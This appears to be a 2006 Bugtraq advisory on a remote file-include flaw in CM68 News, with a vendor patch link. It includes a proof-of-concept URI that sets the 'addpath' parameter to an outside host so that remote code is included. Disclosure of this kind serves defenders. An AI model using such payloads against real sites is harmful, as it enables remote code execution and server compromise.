CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability

Bugtraq ID:	21499
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 08 2006 12:00AM
Updated:	Dec 14 2006 06:43PM
Credit:	Paul Bakoyiannis is credited with the discovery of this vulnerability.
Vulnerable:	CM68 News 12.02.06
Not Vulnerable:

CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability

CM68 News is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 12.02.06 is vulnerable to this issue; other versions may also be affected.

CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/engine/oldnews.inc.php?addpath=http://www.example2.com

CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability

Solution:
The vendor has released a patch to address this issue; please see the reference section for details.


CM68 News 12.02.06

• CM68 cm68news_patch.zip
  http://www.cm68.de/download/cm68news/cm68news_patch.zip

CM68 News Oldnews.Inc.PHP Remote File Include Vulnerability

References:

• Vendor Home Page (CM68)